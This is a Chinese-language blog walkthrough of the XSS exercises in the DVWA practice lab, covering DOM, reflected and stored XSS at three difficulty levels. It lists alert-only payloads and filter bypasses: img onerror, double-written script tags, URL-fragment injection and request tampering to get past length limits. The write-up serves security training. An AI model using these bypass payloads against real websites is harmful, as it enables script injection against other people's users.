DVWA靶场xss

dvwa-xss

1.dom

1.dom-low
?default=<script>alert(123)</script>

在这里插入图片描述

2.dom-medium

直接使用

?default=<script>alert(123)</script>

无变化

在这里插入图片描述

源代码过滤了<script
在这里插入图片描述

更换payload

</select><img src=1 onerror=alert(123)>

成功

在这里插入图片描述

3.dom-high

输入的是case后其中的一个则实行代码,所以我们使用#,绕过后端的过滤,注释的内容不会提交到服务器,而是在浏览器执行

在这里插入图片描述

payload

# <script>alert("123")</script>

在这里插入图片描述

2.反射

1.反射-low

在输入框输入

<script>alert(123)</script>

在这里插入图片描述

2.反射-medium

在这里插入图片描述

在这里插入图片描述

<script>和</script>似乎被过滤

尝试a标签

在这里插入图片描述

全被过滤了

但代码似乎只过滤了<script>

在这里插入图片描述

尝试双写

<scr<script>ipt>alert(123)</script>

成功

在这里插入图片描述

3.反射-high

尝试medium的payload

<scr<script>ipt>alert(123)</script>

在这里插入图片描述

过滤完了

查看源码

在这里插入图片描述

是基于正则的过滤,过滤了script双写(.*)和大小写/i

那么就尝试不用script关键字的方法,如图片报错

<img src=1 onerror=alert(1)>

在这里插入图片描述

成功

3.存储

1.存储-low

name有长度限制,在message框输入

<script>alert(123)</script>

在这里插入图片描述

在这里插入图片描述

2.存储-medium

输入

<script>alert(123)</script>

script被过滤

在这里插入图片描述

尝试图片报错

<img src=1 onerror=alert(1)>

过滤完了

在这里插入图片描述

尝试双写

<sc<script>ript>alert(123)</script>

在这里插入图片描述

查看源码

在这里插入图片描述

message使用了htmlspecialchars函数,该函数会将

预定义预定义字符转换:

&(和号) 成为 &amp;

" (双引号) 成为 &quot;

’ (单引号) 成为 &apos;

< (小于) 成为 &lt;

> (大于) 成为 &gt;

发现name仅过滤了单个<script>,那么尝试在name双写

<sc<script>ript>alert(123)</script>

但name存在输入长度限制,那么尝试修改请求

在这里插入图片描述

在这里插入图片描述

成功

3.存储-high

在这里插入图片描述

message使用了htmlspecialchars,name使用正则过滤,那么尝试用图片报错绕过正则,由于输入框长度限制,同样修改请求完成

在这里插入图片描述

成功

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值